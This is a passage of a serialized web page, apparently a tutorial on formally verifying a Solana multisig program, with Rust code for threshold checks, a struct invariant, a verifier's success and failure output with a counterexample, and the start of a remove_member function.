condition:",{"type":23,"tag":131,"props":23219,"children":23221},{"code":23220,"language":1638,"meta":7,"className":1639,"style":7},"if total_members \u003C 1 {\n return err!(MsError::EmptyMembers);\n}\n",[23222],{"type":23,"tag":38,"props":23223,"children":23224},{"__ignoreMap":7},[23225,23248,23279],{"type":23,"tag":141,"props":23226,"children":23227},{"class":143,"line":144},[23228,23232,23236,23240,23244],{"type":23,"tag":141,"props":23229,"children":23230},{"style":148},[23231],{"type":29,"value":14255},{"type":23,"tag":141,"props":23233,"children":23234},{"style":750},[23235],{"type":29,"value":22135},{"type":23,"tag":141,"props":23237,"children":23238},{"style":160},[23239],{"type":29,"value":7395},{"type":23,"tag":141,"props":23241,"children":23242},{"style":472},[23243],{"type":29,"value":3198},{"type":23,"tag":141,"props":23245,"children":23246},{"style":154},[23247],{"type":29,"value":1951},{"type":23,"tag":141,"props":23249,"children":23250},{"class":143,"line":180},[23251,23255,23259,23263,23267,23271,23275],{"type":23,"tag":141,"props":23252,"children":23253},{"style":148},[23254],{"type":29,"value":15665},{"type":23,"tag":141,"props":23256,"children":23257},{"style":184},[23258],{"type":29,"value":22191},{"type":23,"tag":141,"props":23260,"children":23261},{"style":154},[23262],{"type":29,"value":192},{"type":23,"tag":141,"props":23264,"children":23265},{"style":725},[23266],{"type":29,"value":22200},{"type":23,"tag":141,"props":23268,"children":23269},{"style":160},[23270],{"type":29,"value":2141},{"type":23,"tag":141,"props":23272,"children":23273},{"style":725},[23274],{"type":29,"value":22209},{"type":23,"tag":141,"props":23276,"children":23277},{"style":154},[23278],{"type":29,"value":2496},{"type":23,"tag":141,"props":23280,"children":23281},{"class":143,"line":205},[23282],{"type":23,"tag":141,"props":23283,"children":23284},{"style":154},[23285],{"type":29,"value":2573},{"type":23,"tag":32,"props":23287,"children":23288},{},[23289,23291,23297,23299,23304,23306,23311,23313,23318],{"type":29,"value":23290},"In this case this is actually redundant because if ",{"type":23,"tag":38,"props":23292,"children":23294},{"className":23293},[],[23295],{"type":29,"value":23296},"members.len() == 0",{"type":29,"value":23298}," then our threshold would also have to be ",{"type":23,"tag":38,"props":23300,"children":23302},{"className":23301},[],[23303],{"type":29,"value":2698},{"type":29,"value":23305}," (and our ",{"type":23,"tag":38,"props":23307,"children":23309},{"className":23308},[],[23310],{"type":29,"value":21421},{"type":29,"value":23312}," is not allowed to be ",{"type":23,"tag":38,"props":23314,"children":23316},{"className":23315},[],[23317],{"type":29,"value":2698},{"type":29,"value":23319},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":23,"tag":8287,"props":23321,"children":23323},{"id":23322},"_2-verify-threshold-requirements",[23324],{"type":29,"value":23325},"2. Verify threshold requirements",{"type":23,"tag":32,"props":23327,"children":23328},{},[23329],{"type":29,"value":23330},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue transactions).",{"type":23,"tag":32,"props":23332,"children":23333},{},[23334,23336,23340],{"type":29,"value":23335},"Unlike the previous example, we want to verify this in ",{"type":23,"tag":47,"props":23337,"children":23338},{},[23339],{"type":29,"value":7978},{"type":29,"value":23341}," cases. I.e. any instruction that could mutate the multisig account.",{"type":23,"tag":32,"props":23343,"children":23344},{},[23345,23347,23351,23353,23358],{"type":29,"value":23346},"In this case, we want to model this as an ",{"type":23,"tag":47,"props":23348,"children":23349},{},[23350],{"type":29,"value":20450},{"type":29,"value":23352}," on the ",{"type":23,"tag":38,"props":23354,"children":23356},{"className":23355},[],[23357],{"type":29,"value":21413},{"type":29,"value":23359}," account struct:",{"type":23,"tag":131,"props":23361,"children":23363},{"code":23362,"language":1638,"meta":7,"className":1639,"style":7},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n pub threshold: u16, // threshold for signatures\n pub authority_index: u16, // index to seed other authorities under this multisig\n pub transaction_index: u32, // look up and seed reference for transactions\n pub ms_change_index: u32, // the last executed/closed transaction\n pub bump: u8, // bump for the multisig seed\n pub create_key: Pubkey, // random key(or not) used to seed the multisig pda\n pub allow_external_execute: bool, // allow non-member keys to execute txs\n pub keys: Vec\u003CPubkey>, // keys of the members\n}\n",[23364],{"type":23,"tag":38,"props":23365,"children":23366},{"__ignoreMap":7},[23367,23374,23399,23406,23430,23481,23488,23507,23534,23561,23588,23615,23642,23669,23696,23731],{"type":23,"tag":141,"props":23368,"children":23369},{"class":143,"line":144},[23370],{"type":23,"tag":141,"props":23371,"children":23372},{"style":154},[23373],{"type":29,"value":19442},{"type":23,"tag":141,"props":23375,"children":23376},{"class":143,"line":180},[23377,23381,23386,23390,23395],{"type":23,"tag":141,"props":23378,"children":23379},{"style":154},[23380],{"type":29,"value":21509},{"type":23,"tag":141,"props":23382,"children":23383},{"style":725},[23384],{"type":29,"value":23385},"Clone",{"type":23,"tag":141,"props":23387,"children":23388},{"style":154},[23389],{"type":29,"value":480},{"type":23,"tag":141,"props":23391,"children":23392},{"style":725},[23393],{"type":29,"value":23394},"Debug",{"type":23,"tag":141,"props":23396,"children":23397},{"style":154},[23398],{"type":29,"value":18930},{"type":23,"tag":141,"props":23400,"children":23401},{"class":143,"line":205},[23402],{"type":23,"tag":141,"props":23403,"children":23404},{"style":154},[23405],{"type":29,"value":19450},{"type":23,"tag":141,"props":23407,"children":23408},{"class":143,"line":218},[23409,23414,23418,23422,23426],{"type":23,"tag":141,"props":23410,"children":23411},{"style":154},[23412],{"type":29,"value":23413}," (self",{"type":23,"tag":141,"props":23415,"children":23416},{"style":160},[23417],{"type":29,"value":322},{"type":23,"tag":141,"props":23419,"children":23420},{"style":154},[23421],{"type":29,"value":19743},{"type":23,"tag":141,"props":23423,"children":23424},{"style":160},[23425],{"type":29,"value":8623},{"type":23,"tag":141,"props":23427,"children":23428},{"style":154},[23429],{"type":29,"value":19752},{"type":23,"tag":141,"props":23431,"children":23432},{"class":143,"line":227},[23433,23437,23441,23445,23449,23453,23457,23461,23465,23469,23473,23477],{"type":23,"tag":141,"props":23434,"children":23435},{"style":160},[23436],{"type":29,"value":14297},{"type":23,"tag":141,"props":23438,"children":23439},{"style":154},[23440],{"type":29,"value":19676},{"type":23,"tag":141,"props":23442,"children":23443},{"style":160},[23444],{"type":29,"value":322},{"type":23,"tag":141,"props":23446,"children":23447},{"style":154},[23448],{"type":29,"value":19743},{"type":23,"tag":141,"props":23450,"children":23451},{"style":449},[23452],{"type":29,"value":7518},{"type":23,"tag":141,"props":23454,"children":23455},{"style":725},[23456],{"type":29,"value":12409},{"type":23,"tag":141,"props":23458,"children":23459},{"style":160},[23460],{"type":29,"value":6872},{"type":23,"tag":141,"props":23462,"children":23463},{"style":154},[23464],{"type":29,"value":12475},{"type":23,"tag":141,"props":23466,"children":23467},{"style":160},[23468],{"type":29,"value":322},{"type":23,"tag":141,"props":23470,"children":23471},{"style":154},[23472],{"type":29,"value":19655},{"type":23,"tag":141,"props":23474,"children":23475},{"style":160},[23476],{"type":29,"value":322},{"type":23,"tag":141,"props":23478,"children":23479},{"style":154},[23480],{"type":29,"value":19804},{"type":23,"tag":141,"props":23482,"children":23483},{"class":143,"line":241},[23484],{"type":23,"tag":141,"props":23485,"children":23486},{"style":154},[23487],{"type":29,"value":18930},{"type":23,"tag":141,"props":23489,"children":23490},{"class":143,"line":262},[23491,23495,23499,23503],{"type":23,"tag":141,"props":23492,"children":23493},{"style":449},[23494],{"type":29,"value":12368},{"type":23,"tag":141,"props":23496,"children":23497},{"style":449},[23498],{"type":29,"value":19823},{"type":23,"tag":141,"props":23500,"children":23501},{"style":725},[23502],{"type":29,"value":19828},{"type":23,"tag":141,"props":23504,"children":23505},{"style":154},[23506],{"type":29,"value":1951},{"type":23,"tag":141,"props":23508,"children":23509},{"class":143,"line":271},[23510,23514,23518,23522,23526,23530],{"type":23,"tag":141,"props":23511,"children":23512},{"style":449},[23513],{"type":29,"value":19515},{"type":23,"tag":141,"props":23515,"children":23516},{"style":750},[23517],{"type":29,"value":19844},{"type":23,"tag":141,"props":23519,"children":23520},{"style":160},[23521],{"type":29,"value":114},{"type":23,"tag":141,"props":23523,"children":23524},{"style":725},[23525],{"type":29,"value":19702},{"type":23,"tag":141,"props":23527,"children":23528},{"style":154},[23529],{"type":29,"value":19857},{"type":23,"tag":141,"props":23531,"children":23532},{"style":443},[23533],{"type":29,"value":19862},{"type":23,"tag":141,"props":23535,"children":23536},{"class":143,"line":293},[23537,23541,23545,23549,23553,23557],{"type":23,"tag":141,"props":23538,"children":23539},{"style":449},[23540],{"type":29,"value":19515},{"type":23,"tag":141,"props":23542,"children":23543},{"style":750},[23544],{"type":29,"value":19874},{"type":23,"tag":141,"props":23546,"children":23547},{"style":160},[23548],{"type":29,"value":114},{"type":23,"tag":141,"props":23550,"children":23551},{"style":725},[23552],{"type":29,"value":19702},{"type":23,"tag":141,"props":23554,"children":23555},{"style":154},[23556],{"type":29,"value":19887},{"type":23,"tag":141,"props":23558,"children":23559},{"style":443},[23560],{"type":29,"value":19892},{"type":23,"tag":141,"props":23562,"children":23563},{"class":143,"line":801},[23564,23568,23572,23576,23580,23584],{"type":23,"tag":141,"props":23565,"children":23566},{"style":449},[23567],{"type":29,"value":19515},{"type":23,"tag":141,"props":23569,"children":23570},{"style":750},[23571],{"type":29,"value":19904},{"type":23,"tag":141,"props":23573,"children":23574},{"style":160},[23575],{"type":29,"value":114},{"type":23,"tag":141,"props":23577,"children":23578},{"style":725},[23579],{"type":29,"value":16226},{"type":23,"tag":141,"props":23581,"children":23582},{"style":154},[23583],{"type":29,"value":19917},{"type":23,"tag":141,"props":23585,"children":23586},{"style":443},[23587],{"type":29,"value":19922},{"type":23,"tag":141,"props":23589,"children":23590},{"class":143,"line":810},[23591,23595,23599,23603,23607,23611],{"type":23,"tag":141,"props":23592,"children":23593},{"style":449},[23594],{"type":29,"value":19515},{"type":23,"tag":141,"props":23596,"children":23597},{"style":750},[23598],{"type":29,"value":19934},{"type":23,"tag":141,"props":23600,"children":23601},{"style":160},[23602],{"type":29,"value":114},{"type":23,"tag":141,"props":23604,"children":23605},{"style":725},[23606],{"type":29,"value":16226},{"type":23,"tag":141,"props":23608,"children":23609},{"style":154},[23610],{"type":29,"value":19887},{"type":23,"tag":141,"props":23612,"children":23613},{"style":443},[23614],{"type":29,"value":19951},{"type":23,"tag":141,"props":23616,"children":23617},{"class":143,"line":824},[23618,23622,23626,23630,23634,23638],{"type":23,"tag":141,"props":23619,"children":23620},{"style":449},[23621],{"type":29,"value":19515},{"type":23,"tag":141,"props":23623,"children":23624},{"style":750},[23625],{"type":29,"value":19963},{"type":23,"tag":141,"props":23627,"children":23628},{"style":160},[23629],{"type":29,"value":114},{"type":23,"tag":141,"props":23631,"children":23632},{"style":725},[23633],{"type":29,"value":13310},{"type":23,"tag":141,"props":23635,"children":23636},{"style":154},[23637],{"type":29,"value":19976},{"type":23,"tag":141,"props":23639,"children":23640},{"style":443},[23641],{"type":29,"value":19981},{"type":23,"tag":141,"props":23643,"children":23644},{"class":143,"line":839},[23645,23649,23653,23657,23661,23665],{"type":23,"tag":141,"props":23646,"children":23647},{"style":449},[23648],{"type":29,"value":19515},{"type":23,"tag":141,"props":23650,"children":23651},{"style":750},[23652],{"type":29,"value":19993},{"type":23,"tag":141,"props":23654,"children":23655},{"style":160},[23656],{"type":29,"value":114},{"type":23,"tag":141,"props":23658,"children":23659},{"style":725},[23660],{"type":29,"value":19529},{"type":23,"tag":141,"props":23662,"children":23663},{"style":154},[23664],{"type":29,"value":20006},{"type":23,"tag":141,"props":23666,"children":23667},{"style":443},[23668],{"type":29,"value":20011},{"type":23,"tag":141,"props":23670,"children":23671},{"class":143,"line":848},[23672,23676,23680,23684,23688,23692],{"type":23,"tag":141,"props":23673,"children":23674},{"style":449},[23675],{"type":29,"value":19515},{"type":23,"tag":141,"props":23677,"children":23678},{"style":750},[23679],{"type":29,"value":20023},{"type":23,"tag":141,"props":23681,"children":23682},{"style":160},[23683],{"type":29,"value":114},{"type":23,"tag":141,"props":23685,"children":23686},{"style":725},[23687],{"type":29,"value":10730},{"type":23,"tag":141,"props":23689,"children":23690},{"style":154},[23691],{"type":29,"value":480},{"type":23,"tag":141,"props":23693,"children":23694},{"style":443},[23695],{"type":29,"value":20040},{"type":23,"tag":141,"props":23697,"children":23698},{"class":143,"line":2304},[23699,23703,23707,23711,23715,23719,23723,23727],{"type":23,"tag":141,"props":23700,"children":23701},{"style":449},[23702],{"type":29,"value":19515},{"type":23,"tag":141,"props":23704,"children":23705},{"style":750},[23706],{"type":29,"value":20052},{"type":23,"tag":141,"props":23708,"children":23709},{"style":160},[23710],{"type":29,"value":114},{"type":23,"tag":141,"props":23712,"children":23713},{"style":725},[23714],{"type":29,"value":20061},{"type":23,"tag":141,"props":23716,"children":23717},{"style":154},[23718],{"type":29,"value":4480},{"type":23,"tag":141,"props":23720,"children":23721},{"style":725},[23722],{"type":29,"value":20070},{"type":23,"tag":141,"props":23724,"children":23725},{"style":154},[23726],{"type":29,"value":20075},{"type":23,"tag":141,"props":23728,"children":23729},{"style":443},[23730],{"type":29,"value":20080},{"type":23,"tag":141,"props":23732,"children":23733},{"class":143,"line":2313},[23734],{"type":23,"tag":141,"props":23735,"children":23736},{"style":154},[23737],{"type":29,"value":2573},{"type":23,"tag":32,"props":23739,"children":23740},{},[23741,23743,23748],{"type":29,"value":23742},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":23,"tag":38,"props":23744,"children":23746},{"className":23745},[],[23747],{"type":29,"value":21413},{"type":29,"value":23749}," object will be checked to ensure that the invariant still holds after modification.",{"type":23,"tag":32,"props":23751,"children":23752},{},[23753,23755,23760],{"type":29,"value":23754},"Let's try this on the ",{"type":23,"tag":38,"props":23756,"children":23758},{"className":23757},[],[23759],{"type":29,"value":21492},{"type":29,"value":23761}," instruction that we've already seen:",{"type":23,"tag":131,"props":23763,"children":23765},{"code":23764},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[23766],{"type":23,"tag":38,"props":23767,"children":23768},{"__ignoreMap":7},[23769],{"type":29,"value":23764},{"type":23,"tag":32,"props":23771,"children":23772},{},[23773,23775,23780],{"type":29,"value":23774},"To ensure this is working, we can test by commenting out this check from ",{"type":23,"tag":38,"props":23776,"children":23778},{"className":23777},[],[23779],{"type":29,"value":21492},{"type":29,"value":114},{"type":23,"tag":131,"props":23782,"children":23784},{"code":23783,"language":1638,"meta":7,"className":1639,"style":7},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n// return err!(MsError::InvalidThreshold);\n// }\n",[23785],{"type":23,"tag":38,"props":23786,"children":23787},{"__ignoreMap":7},[23788,23796,23804],{"type":23,"tag":141,"props":23789,"children":23790},{"class":143,"line":144},[23791],{"type":23,"tag":141,"props":23792,"children":23793},{"style":443},[23794],{"type":29,"value":23795},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":23,"tag":141,"props":23797,"children":23798},{"class":143,"line":180},[23799],{"type":23,"tag":141,"props":23800,"children":23801},{"style":443},[23802],{"type":29,"value":23803},"// return err!(MsError::InvalidThreshold);\n",{"type":23,"tag":141,"props":23805,"children":23806},{"class":143,"line":205},[23807],{"type":23,"tag":141,"props":23808,"children":23809},{"style":443},[23810],{"type":29,"value":23811},"// }\n",{"type":23,"tag":32,"props":23813,"children":23814},{},[23815],{"type":29,"value":23816},"And run again:",{"type":23,"tag":131,"props":23818,"children":23820},{"code":23819},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[23821],{"type":23,"tag":38,"props":23822,"children":23823},{"__ignoreMap":7},[23824],{"type":29,"value":23819},{"type":23,"tag":32,"props":23826,"children":23827},{},[23828],{"type":29,"value":23829},"We get the following counterexample:",{"type":23,"tag":131,"props":23831,"children":23833},{"code":23832,"language":1638,"meta":7,"className":1639,"style":7},"Account {\n account: Ms {\n threshold: 32768,\n authority_index: 1,\n transaction_index: 0,\n ms_change_index: 0,\n bump: 0,\n create_key: ...,\n allow_external_execute: false,\n keys: SparseVec {\n size: 5112,\n },\n },\n info: AccountInfo { ... },\n}\n",[23834],{"type":23,"tag":38,"props":23835,"children":23836},{"__ignoreMap":7},[23837,23848,23868,23888,23908,23928,23948,23968,23988,24008,24029,24050,24058,24066,24096],{"type":23,"tag":141,"props":23838,"children":23839},{"class":143,"line":144},[23840,23844],{"type":23,"tag":141,"props":23841,"children":23842},{"style":725},[23843],{"type":29,"value":15822},{"type":23,"tag":141,"props":23845,"children":23846},{"style":154},[23847],{"type":29,"value":1951},{"type":23,"tag":141,"props":23849,"children":23850},{"class":143,"line":180},[23851,23856,23860,23864],{"type":23,"tag":141,"props":23852,"children":23853},{"style":750},[23854],{"type":29,"value":23855}," account",{"type":23,"tag":141,"props":23857,"children":23858},{"style":160},[23859],{"type":29,"value":114},{"type":23,"tag":141,"props":23861,"children":23862},{"style":725},[23863],{"type":29,"value":19828},{"type":23,"tag":141,"props":23865,"children":23866},{"style":154},[23867],{"type":29,"value":1951},{"type":23,"tag":141,"props":23869,"children":23870},{"class":143,"line":205},[23871,23875,23879,23884],{"type":23,"tag":141,"props":23872,"children":23873},{"style":750},[23874],{"type":29,"value":22509},{"type":23,"tag":141,"props":23876,"children":23877},{"style":160},[23878],{"type":29,"value":114},{"type":23,"tag":141,"props":23880,"children":23881},{"style":472},[23882],{"type":29,"value":23883}," 32768",{"type":23,"tag":141,"props":23885,"children":23886},{"style":154},[23887],{"type":29,"value":2168},{"type":23,"tag":141,"props":23889,"children":23890},{"class":143,"line":218},[23891,23896,23900,23904],{"type":23,"tag":141,"props":23892,"children":23893},{"style":750},[23894],{"type":29,"value":23895}," authority_index",{"type":23,"tag":141,"props":23897,"children":23898},{"style":160},[23899],{"type":29,"value":114},{"type":23,"tag":141,"props":23901,"children":23902},{"style":472},[23903],{"type":29,"value":3198},{"type":23,"tag":141,"props":23905,"children":23906},{"style":154},[23907],{"type":29,"value":2168},{"type":23,"tag":141,"props":23909,"children":23910},{"class":143,"line":227},[23911,23916,23920,23924],{"type":23,"tag":141,"props":23912,"children":23913},{"style":750},[23914],{"type":29,"value":23915}," transaction_index",{"type":23,"tag":141,"props":23917,"children":23918},{"style":160},[23919],{"type":29,"value":114},{"type":23,"tag":141,"props":23921,"children":23922},{"style":472},[23923],{"type":29,"value":1707},{"type":23,"tag":141,"props":23925,"children":23926},{"style":154},[23927],{"type":29,"value":2168},{"type":23,"tag":141,"props":23929,"children":23930},{"class":143,"line":241},[23931,23936,23940,23944],{"type":23,"tag":141,"props":23932,"children":23933},{"style":750},[23934],{"type":29,"value":23935}," ms_change_index",{"type":23,"tag":141,"props":23937,"children":23938},{"style":160},[23939],{"type":29,"value":114},{"type":23,"tag":141,"props":23941,"children":23942},{"style":472},[23943],{"type":29,"value":1707},{"type":23,"tag":141,"props":23945,"children":23946},{"style":154},[23947],{"type":29,"value":2168},{"type":23,"tag":141,"props":23949,"children":23950},{"class":143,"line":262},[23951,23956,23960,23964],{"type":23,"tag":141,"props":23952,"children":23953},{"style":750},[23954],{"type":29,"value":23955}," bump",{"type":23,"tag":141,"props":23957,"children":23958},{"style":160},[23959],{"type":29,"value":114},{"type":23,"tag":141,"props":23961,"children":23962},{"style":472},[23963],{"type":29,"value":1707},{"type":23,"tag":141,"props":23965,"children":23966},{"style":154},[23967],{"type":29,"value":2168},{"type":23,"tag":141,"props":23969,"children":23970},{"class":143,"line":271},[23971,23975,23979,23984],{"type":23,"tag":141,"props":23972,"children":23973},{"style":750},[23974],{"type":29,"value":22522},{"type":23,"tag":141,"props":23976,"children":23977},{"style":160},[23978],{"type":29,"value":114},{"type":23,"tag":141,"props":23980,"children":23981},{"style":160},[23982],{"type":29,"value":23983}," ...",{"type":23,"tag":141,"props":23985,"children":23986},{"style":154},[23987],{"type":29,"value":2168},{"type":23,"tag":141,"props":23989,"children":23990},{"class":143,"line":293},[23991,23996,24000,24004],{"type":23,"tag":141,"props":23992,"children":23993},{"style":750},[23994],{"type":29,"value":23995}," allow_external_execute",{"type":23,"tag":141,"props":23997,"children":23998},{"style":160},[23999],{"type":29,"value":114},{"type":23,"tag":141,"props":24001,"children":24002},{"style":449},[24003],{"type":29,"value":7735},{"type":23,"tag":141,"props":24005,"children":24006},{"style":154},[24007],{"type":29,"value":2168},{"type":23,"tag":141,"props":24009,"children":24010},{"class":143,"line":801},[24011,24016,24020,24025],{"type":23,"tag":141,"props":24012,"children":24013},{"style":750},[24014],{"type":29,"value":24015}," keys",{"type":23,"tag":141,"props":24017,"children":24018},{"style":160},[24019],{"type":29,"value":114},{"type":23,"tag":141,"props":24021,"children":24022},{"style":725},[24023],{"type":29,"value":24024}," SparseVec",{"type":23,"tag":141,"props":24026,"children":24027},{"style":154},[24028],{"type":29,"value":1951},{"type":23,"tag":141,"props":24030,"children":24031},{"class":143,"line":810},[24032,24037,24041,24046],{"type":23,"tag":141,"props":24033,"children":24034},{"style":750},[24035],{"type":29,"value":24036}," size",{"type":23,"tag":141,"props":24038,"children":24039},{"style":160},[24040],{"type":29,"value":114},{"type":23,"tag":141,"props":24042,"children":24043},{"style":472},[24044],{"type":29,"value":24045}," 5112",{"type":23,"tag":141,"props":24047,"children":24048},{"style":154},[24049],{"type":29,"value":2168},{"type":23,"tag":141,"props":24051,"children":24052},{"class":143,"line":824},[24053],{"type":23,"tag":141,"props":24054,"children":24055},{"style":154},[24056],{"type":29,"value":24057}," },\n",{"type":23,"tag":141,"props":24059,"children":24060},{"class":143,"line":839},[24061],{"type":23,"tag":141,"props":24062,"children":24063},{"style":154},[24064],{"type":29,"value":24065}," },\n",{"type":23,"tag":141,"props":24067,"children":24068},{"class":143,"line":848},[24069,24074,24078,24083,24087,24091],{"type":23,"tag":141,"props":24070,"children":24071},{"style":750},[24072],{"type":29,"value":24073}," info",{"type":23,"tag":141,"props":24075,"children":24076},{"style":160},[24077],{"type":29,"value":114},{"type":23,"tag":141,"props":24079,"children":24080},{"style":725},[24081],{"type":29,"value":24082}," AccountInfo",{"type":23,"tag":141,"props":24084,"children":24085},{"style":154},[24086],{"type":29,"value":8264},{"type":23,"tag":141,"props":24088,"children":24089},{"style":160},[24090],{"type":29,"value":8269},{"type":23,"tag":141,"props":24092,"children":24093},{"style":154},[24094],{"type":29,"value":24095}," },\n",{"type":23,"tag":141,"props":24097,"children":24098},{"class":143,"line":2304},[24099],{"type":23,"tag":141,"props":24100,"children":24101},{"style":154},[24102],{"type":29,"value":2573},{"type":23,"tag":32,"props":24104,"children":24105},{},[24106,24108,24113,24115,24120],{"type":29,"value":24107},"Here we see that the ",{"type":23,"tag":38,"props":24109,"children":24111},{"className":24110},[],[24112],{"type":29,"value":21421},{"type":29,"value":24114}," of the newly created ",{"type":23,"tag":38,"props":24116,"children":24118},{"className":24117},[],[24119],{"type":29,"value":21413},{"type":29,"value":24121}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":23,"tag":8287,"props":24123,"children":24125},{"id":24124},"verify-requirements-to-remove-a-member",[24126],{"type":29,"value":21451},{"type":23,"tag":32,"props":24128,"children":24129},{},[24130,24132,24137,24138,24143,24145,24151],{"type":29,"value":24131},"Now that we've seen both ",{"type":23,"tag":38,"props":24133,"children":24135},{"className":24134},[],[24136],{"type":29,"value":18826},{"type":29,"value":313},{"type":23,"tag":38,"props":24139,"children":24141},{"className":24140},[],[24142],{"type":29,"value":20450},{"type":29,"value":24144}," let's take a look at the ",{"type":23,"tag":38,"props":24146,"children":24148},{"className":24147},[],[24149],{"type":29,"value":24150},"remove_member",{"type":29,"value":24152}," function:",{"type":23,"tag":131,"props":24154,"children":24156},{"code":24155,"language":1638,"meta":7,"className":1639,"style":7},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n #[account(mut)]\n multisig: Box\u003CAccount\u003C'info, Ms>>,\n #[account(\n mut,\n seeds = [\n b\"squad\",\n multisig.create_key.as_ref(),\n b\"multisig\"\n ], bump = multisig.bump\n )]\n pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n // if there is only one key in this multisig, reject the removal\n if ctx.accounts.multisig.keys.len() == 1 {\n return err!(MsError::CannotRemoveSoloMember);\n }\n ctx.accounts.multisig.remove_member(old_member)?;\n\n // if the number of keys is now less than the threshold, adjust it\n if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n let new_threshold: u16 = ctx.accounts.multisig.keys.len().try_into().unwrap();\n ctx.accounts.multisig.change_threshold(new_threshold)?;\n }\n let new_index = ctx.accounts.multisig.transaction_index;\n ctx.accounts.multisig.set_change_index(new_index)\n}\n",[24157],{"type":23,"tag":38,"props":24158,"children":24159},{"__ignoreMap":7},[24160,24183,24211,24226,24271,24278,24290,24306,24318,24344,24352,24381,24388,24420,24427,24434,24508,24516,24576,24608,24615,24666,24673,24681,24774,24863,24917,24924,24969,25014],{"type":23,"tag":141,"props":24161,"children":24162},{"class":143,"line":144},[24163,24167,24171,24175,24179],{"type":23,"tag":141,"props":24164,"children":24165},{"style":154},[24166],{"type":29,"value":21509},{"type":23,"tag":141,"props":24168,"children":24169},{"style":725},[24170],{"type":29,"value":21514},{"type":23,"tag":141,"props":24172,"children":24173},{"style":154},[24174],{"type":29,"value":480},{"type":23,"tag":141,"props":24176,"children":24177},{"style":725},[24178],{"type":29,"value":23394},{"type":23,"tag":141,"props":24180,"children":24181},{"style":154},[24182],{"type":29,"value":18930},{"type":23,"tag":141,"props":24184,"children":24185},{"class":143,"line":180},[24186,24190,24194,24199,24203,24207],{"type":23,"tag":141,"props":24187,"children":24188},{"style":449},[24189],{"type":29,"value":12368},{"type":23,"tag":141,"props":24191,"children":24192},{"style":449},[24193],{"type":29,"value":19823},{"type":23,"tag":141,"props":24195,"children":24196},{"style":725},[24197],{"type":29,"value":24198}," MsAuth",{"type":23,"tag":141,"props":24200,"children":24201},{"style":154},[24202],{"type":29,"value":21594},{"type":23,"tag":141,"props":24204,"children":24205},{"style":725},[24206],{"type":29,"value":21599},{"type":23,"tag":141,"props":24208,"children":24209},{"style":154},[24210],{"type":29,"value":5955},{"type":23,"tag":141,"props":24212,"children":24213},{"class":143,"line":205},[24214,24218,24222],{"type":23,"tag":141,"props":24215,"children":24216},{"style":154},[24217],{"type":29,"value":21801},{"type":23,"tag":141,"props":24219,"children":24220},{"style":449},[24221],{"type":29,"value":2389},{"type":23,"tag":141,"props":24223,"children":24224},{"style":154},[24225],{"type":29,"value":18930},{"type":23,"tag":141,"props":24227,"children":24228},{"class":143,"line":218},[24229,24234,24238,24243,24247,24251,24255,24259,24263,24267],{"type":23,"tag":141,"props":24230,"children":24231},{"style":750},[24232],{"type":29,"value":24233}," multisig",{"type":23,"tag":141,"props":24235,"children":24236},{"style":160},[24237],{"type":29,"value":114},{"type":23,"tag":141,"props":24239,"children":24240},{"style":725},[24241],{"type":29,"value":24242}," Box",{"type":23,"tag":141,"props":24244,"children":24245},{"style":154},[24246],{"type":29,"value":4480},{"type":23,"tag":141,"props":24248,"children":24249},{"style":725},[24250],{"type":29,"value":15822},{"type":23,"tag":141,"props":24252,"children":24253},{"style":154},[24254],{"type":29,"value":21594},{"type":23,"tag":141,"props":24256,"children":24257},{"style":725},[24258],{"type":29,"value":21599},{"type":23,"tag":141,"props":24260,"children":24261},{"style":154},[24262],{"type":29,"value":480},{"type":23,"tag":141,"props":24264,"children":24265},{"style":725},[24266],{"type":29,"value":21413},{"type":23,"tag":141,"props":24268,"children":24269},{"style":154},[24270],{"type":29,"value":5625},{"type":23,"tag":141,"props":24272,"children":24273},{"class":143,"line":227},[24274],{"type":23,"tag":141,"props":24275,"children":24276},{"style":154},[24277],{"type":29,"value":21611},{"type":23,"tag":141,"props":24279,"children":24280},{"class":143,"line":241},[24281,24286],{"type":23,"tag":141,"props":24282,"children":24283},{"style":449},[24284],{"type":29,"value":24285}," mut",{"type":23,"tag":141,"props":24287,"children":24288},{"style":154},[24289],{"type":29,"value":2168},{"type":23,"tag":141,"props":24291,"children":24292},{"class":143,"line":262},[24293,24297,24301],{"type":23,"tag":141,"props":24294,"children":24295},{"style":154},[24296],{"type":29,"value":21695},{"type":23,"tag":141,"props":24298,"children":24299},{"style":160},[24300],{"type":29,"value":1377},{"type":23,"tag":141,"props":24302,"children":24303},{"style":154},[24304],{"type":29,"value":24305}," [\n",{"type":23,"tag":141,"props":24307,"children":24308},{"class":143,"line":271},[24309,24314],{"type":23,"tag":141,"props":24310,"children":24311},{"style":828},[24312],{"type":29,"value":24313}," b\"squad\"",{"type":23,"tag":141,"props":24315,"children":24316},{"style":154},[24317],{"type":29,"value":2168},{"type":23,"tag":141,"props":24319,"children":24320},{"class":143,"line":293},[24321,24326,24330,24335,24339],{"type":23,"tag":141,"props":24322,"children":24323},{"style":154},[24324],{"type":29,"value":24325}," multisig",{"type":23,"tag":141,"props":24327,"children":24328},{"style":160},[24329],{"type":29,"value":322},{"type":23,"tag":141,"props":24331,"children":24332},{"style":154},[24333],{"type":29,"value":24334},"create_key",{"type":23,"tag":141,"props":24336,"children":24337},{"style":160},[24338],{"type":29,"value":322},{"type":23,"tag":141,"props":24340,"children":24341},{"style":154},[24342],{"type":29,"value":24343},"as_ref(),\n",{"type":23,"tag":141,"props":24345,"children":24346},{"class":143,"line":801},[24347],{"type":23,"tag":141,"props":24348,"children":24349},{"style":828},[24350],{"type":29,"value":24351}," 